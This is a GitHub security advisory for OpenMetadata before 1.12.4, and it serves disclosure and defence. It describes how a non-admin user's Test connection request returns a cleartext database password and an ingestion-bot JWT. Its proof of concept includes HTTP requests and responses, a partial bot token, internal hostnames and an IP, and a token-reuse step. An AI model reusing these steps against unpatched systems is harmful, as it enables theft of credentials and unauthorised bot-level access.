Skip to content

OpenMetadata: TEST_CONNECTION workflow leaks ingestion-bot JWT and database password to regular users

High severity GitHub Reviewed Published May 14, 2026 in open-metadata/OpenMetadata • Updated May 21, 2026

Package

maven org.open-metadata:openmetadata-service (Maven)

Affected versions

< 1.12.4

Patched versions

1.12.4

Description

This is not applicable if an application is configuring the Secrets Store to store credentials. Please make sure to follow the best practices when deploying in production
In OpenMetadata 1.12.1, a non-admin SSO user can trigger a TEST_CONNECTION workflow for a Database Service and receive, in the HTTP 201 response of POST /api/v1/automations/workflows, both:

  • The cleartext database password in request.connection.config.password.
  • The ingestion bot JWT in openMetadataServerConnection.securityConfig.jwtToken.

The leaked ingestion-bot token can then be reused as Authorization: Bearer <jwt> to access sensitive service APIs (for example, GET /api/v1/services/databaseServices/{id}?include=all) with bot-level privileges.

This looks different from GHSA-pqqf-7hxm-rj5r, because it affects the automations/workflows TEST_CONNECTION endpoint on OpenMetadata 1.12.1, not the ingestion pipelines endpoints.


Version / Product

  • Product: OpenMetadata (open source, Apache 2.0)
  • Version: 1.12.1
    • GET /api/v1/system/version →
      {"version":"1.12.1","revision":"618a2dc2ec8f70ffcd0378ee14ce92cb4f98f0c5"}
  • Deployment: OpenMetadata server with SSO via Azure AD (OAuth), Oracle database service, secrets in DB secrets manager (secretsManagerProvider: "db").

Preconditions

  • Authenticated SSO user with access to the UI.
  • User can open a Database Service and click “Test connection”.
  • No server admin role, no shell/DB access.

PoC (short)

  1. Login as a regular SSO user.

  2. In the UI go to:
    Settings → Services → Database Services → utplrac_scan2_srvetel
    Open the connection tab and click “Test connection”.

  3. The browser sends:

POST /api/v1/automations/workflows HTTP/1.1
Host: catalogodatos-test.utpl.edu.ec
Authorization: Bearer <Azure_AD_user_JWT>
Content-Type: application/json

{
"name": "test-connection-Oracle-XXXX",
"workflowType": "TEST_CONNECTION",
"request": {
"connection": {
"config": {
"type": "Oracle",
"scheme": "oracle+cx_oracle",
"username": "qpro_gobierno_datos",
"password": "********",
"hostPort": "172.16.54.32:1521",
...
}
},
"serviceType": "Database",
"connectionType": "Oracle",
"serviceName": "utplrac_scan2_srvetel"
}
}

Note: in the request the password is masked as "********".

  1. The server responds with HTTP 201 and a body similar to:

{
"id": "5acd06f0-0db6-43b9-b0e0-e1574479bba7",
"workflowType": "TEST_CONNECTION",
"request": {
"connection": {
"config": {
"type": "Oracle",
"scheme": "oracle+cx_oracle",
"username": "qpro_gobierno_datos",
"password": "<REAL_PASSWORD_HERE>",
"hostPort": "172.16.54.32:1521",
...
}
},
"serviceType": "Database",
"connectionType": "Oracle",
"serviceName": "utplrac_scan2_srvetel",
"secretsManagerProvider": "db"
},
"openMetadataServerConnection": {
"type": "OpenMetadata",
"hostPort": "http://openmetadata-server:8585/api",
"authProvider": "openmetadata",
"securityConfig": {
"jwtToken": "eyJraWQiOiJHYjM4OWEtOWY3Ni1nZGpzLWE5MmotMDI0MmJrOTQzNTYiLCJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJvcGVuLW1ldGFkYXRhLm9yZyIsInN1YiI6ImluZ2VzdGlvbi1ib3QiLCJyb2xlcyI6WyJJbmdlc3Rpb25Cb3RSb2xlIl0sImVtYWlsIjoiaW5nZXN0aW9uLWJvdEBvcGVuLW1ldGFkYXRhLm9yZyIsImlzQm90Ijp0cnVlLCJ0b2tlblR5cGUiOiJCT1QiLCJ1c2VybmFtZSI6ImluZ2VzdGlvbi1ib3QiLCJwcmVmZXJyZWRfdXNlcm5hbWUiOiJpbmdlc3Rpb24tYm90IiwiaWF0IjoxNzc0MDI2Nzg3LCJleHAiOjE3ODE4MDI3ODd9.DHLw4s..."
},
...
},
"updatedBy": "<regular_user>",
...
}

Key points:

  • request.connection.config.password now contains the real Oracle DB password in cleartext.
  • openMetadataServerConnection.securityConfig.jwtToken contains a valid JWT for the ingestion-bot account (sub = "ingestion-bot", tokenType = "BOT").
  1. Reuse the leaked ingestion-bot JWT:

GET /api/v1/services/databaseServices/f0382c0b-149e-4ca5-8844-d636c3437b9d?include=all HTTP/1.1
Host: catalogodatos-test.utpl.edu.ec
Authorization: Bearer <leaked_ingestion-bot_JWT>
Accept: application/json

The API returns the full database service including username and password, confirming bot-level access.


Impact / Severity

  • Any user who can run “Test connection” on a database service can:
    • Recover the cleartext DB credentials.
    • Recover a long‑lived ingestion-bot JWT.
    • Act as ingestion-bot against the OpenMetadata API and access/modify services and metadata.

**
LOWLEVELTOKEN
USERROL
CLEARPOC**

References

@harshach harshach published to open-metadata/OpenMetadata May 14, 2026
Published to the GitHub Advisory Database May 21, 2026
Reviewed May 21, 2026
Last updated May 21, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L

EPSS score

Weaknesses

Insertion of Sensitive Information Into Sent Data

The code transmits data to another actor, but a portion of the data includes sensitive information that should not be accessible to that actor. Learn more on MITRE.

CVE ID

CVE-2026-46481

GHSA ID

GHSA-9vmh-whc4-7phg

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.